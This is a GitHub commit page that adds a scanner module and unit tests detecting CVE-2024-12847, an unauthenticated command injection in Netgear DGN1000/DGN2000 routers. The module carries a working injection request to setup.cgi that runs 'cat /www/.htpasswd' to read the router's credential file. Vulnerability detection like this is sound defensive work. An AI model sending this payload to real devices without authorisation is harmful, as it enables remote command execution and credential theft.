generated from Ostorlab/template_agent
-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Browse files
Browse the repository at this point in the history
…024-12847 Add detection for CVE-2024-12847
- Loading branch information
Showing
9 changed files
with
224 additions
and
51 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
"""Agent Asteroid implementation for CVE-2024-12847""" | ||
|
||
import datetime | ||
import logging | ||
|
||
from requests import exceptions as requests_exceptions | ||
|
||
from agent import definitions | ||
from agent import exploits_registry | ||
from agent.exploits import webexploit | ||
|
||
VULNERABILITY_TITLE = "Netgear DGN1000/DGN2000 Unauthenticated RCE" | ||
VULNERABILITY_REFERENCE = "CVE-2024-12847" | ||
VULNERABILITY_DESCRIPTION = ( | ||
"Netgear DGN1000 and DGN2000 routers contain an unauthenticated remote code execution " | ||
"vulnerability in the setup.cgi script. The syscmd function allows execution of " | ||
"arbitrary commands." | ||
) | ||
RISK_RATING = "CRITICAL" | ||
DEFAULT_TIMEOUT = datetime.timedelta(seconds=90) | ||
|
||
COMMAND = "cat+/www/.htpasswd" | ||
ENDPOINT = "/setup.cgi" | ||
KEYWORD = "admin:" | ||
|
||
|
||
@exploits_registry.register | ||
class NetgearDGNCommandInjectionExploit(webexploit.WebExploit): | ||
""" | ||
CVE-2024-12847: Netgear DGN1000/DGN2000 Unauthenticated RCE | ||
""" | ||
|
||
metadata = definitions.VulnerabilityMetadata( | ||
title=VULNERABILITY_TITLE, | ||
description=VULNERABILITY_DESCRIPTION, | ||
reference=VULNERABILITY_REFERENCE, | ||
risk_rating=RISK_RATING, | ||
) | ||
|
||
def accept(self, target: definitions.Target) -> bool: | ||
try: | ||
resp = self.session.get( | ||
target.origin + ENDPOINT, timeout=DEFAULT_TIMEOUT.seconds | ||
) | ||
except requests_exceptions.RequestException: | ||
return False | ||
if resp.status_code == 200: | ||
return True | ||
return False | ||
|
||
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: | ||
"""Rule to detect command injection vulnerability on a target.""" | ||
vulnerabilities: list[definitions.Vulnerability] = [] | ||
|
||
try: | ||
resp = self.session.get( | ||
f"{target.origin}{ENDPOINT}", | ||
params={ | ||
"next_file": "netgear.cfg", | ||
"todo": "syscmd", | ||
"cmd": COMMAND, | ||
"curpath": "/", | ||
"currentsetting.htm": "1", | ||
}, | ||
timeout=DEFAULT_TIMEOUT.seconds, | ||
) | ||
|
||
if resp.status_code == 200 and KEYWORD in resp.text: | ||
vulnerabilities.append(self._create_vulnerability(target)) | ||
|
||
except requests_exceptions.RequestException as e: | ||
logging.error("Command injection detection failed: %s", e) | ||
|
||
return vulnerabilities |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,100 @@ | ||
"""Unit tests for CVE-2024-12847""" | ||
|
||
import requests_mock as req_mock | ||
from requests import exceptions as requests_exceptions | ||
|
||
from agent import definitions | ||
from agent.exploits import cve_2024_12847 | ||
|
||
|
||
def testNetgearDGNCommandInjection_whenVulnerable_reportFinding( | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""Test case: when target is vulnerable to command injection.""" | ||
requests_mock.get( | ||
"http://localhost:80/setup.cgi", | ||
status_code=200, | ||
) | ||
|
||
requests_mock.get( | ||
"http://localhost:80/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat%2B%2Fwww%2F.htpasswd&curpath=%2F¤tsetting.htm=1", | ||
text="admin:$1$12345678$ABCDEFGHIJKLMNOPQRSTUVWX", | ||
status_code=200, | ||
) | ||
|
||
exploit_instance = cve_2024_12847.NetgearDGNCommandInjectionExploit() | ||
target = definitions.Target("http", "localhost", 80) | ||
|
||
accept = exploit_instance.accept(target) | ||
vulnerabilities = exploit_instance.check(target) | ||
|
||
assert accept is True | ||
assert len(vulnerabilities) > 0 | ||
vulnerability = vulnerabilities[0] | ||
assert vulnerability.entry.title == "Netgear DGN1000/DGN2000 Unauthenticated RCE" | ||
assert vulnerability.entry.risk_rating == "CRITICAL" | ||
|
||
|
||
def testNetgearDGNCommandInjection_whenNotNetgear_reportNothing( | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""Test case: when target is not a Netgear device.""" | ||
requests_mock.get( | ||
"http://localhost:80/setup.cgi", | ||
status_code=200, | ||
) | ||
|
||
requests_mock.get( | ||
"http://localhost:80/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat%2B%2Fwww%2F.htpasswd&curpath=%2F¤tsetting.htm=1", | ||
status_code=401, | ||
) | ||
|
||
exploit_instance = cve_2024_12847.NetgearDGNCommandInjectionExploit() | ||
target = definitions.Target("http", "localhost", 80) | ||
|
||
vulnerabilities = exploit_instance.check(target) | ||
accept = exploit_instance.accept(target) | ||
|
||
assert accept is True | ||
assert len(vulnerabilities) == 0 | ||
|
||
|
||
def testNetgearDGNCommandInjection_whenCommandFails_reportNothing( | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""Test case: when command injection fails.""" | ||
requests_mock.get( | ||
"http://localhost:80/setup.cgi", | ||
headers={"WWW-Authenticate": "DGN1000"}, | ||
status_code=401, | ||
) | ||
|
||
requests_mock.get( | ||
"http://localhost:80/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat+/www/.htpasswd&curpath=/¤tsetting.htm=1", | ||
text="", | ||
status_code=200, | ||
) | ||
|
||
exploit_instance = cve_2024_12847.NetgearDGNCommandInjectionExploit() | ||
target = definitions.Target("http", "localhost", 80) | ||
|
||
vulnerabilities = exploit_instance.check(target) | ||
|
||
assert len(vulnerabilities) == 0 | ||
|
||
|
||
def testNetgearDGNCommandInjection_requestException_handlingErrorLogged( | ||
requests_mock: req_mock.mocker.Mocker, | ||
) -> None: | ||
"""Test case: handle RequestException in command injection detection.""" | ||
requests_mock.get( | ||
"http://localhost:80/setup.cgi", | ||
exc=requests_exceptions.RequestException("Simulated connection error"), | ||
) | ||
|
||
exploit_instance = cve_2024_12847.NetgearDGNCommandInjectionExploit() | ||
target = definitions.Target("http", "localhost", 80) | ||
|
||
vulnerabilities = exploit_instance.check(target) | ||
|
||
assert len(vulnerabilities) == 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters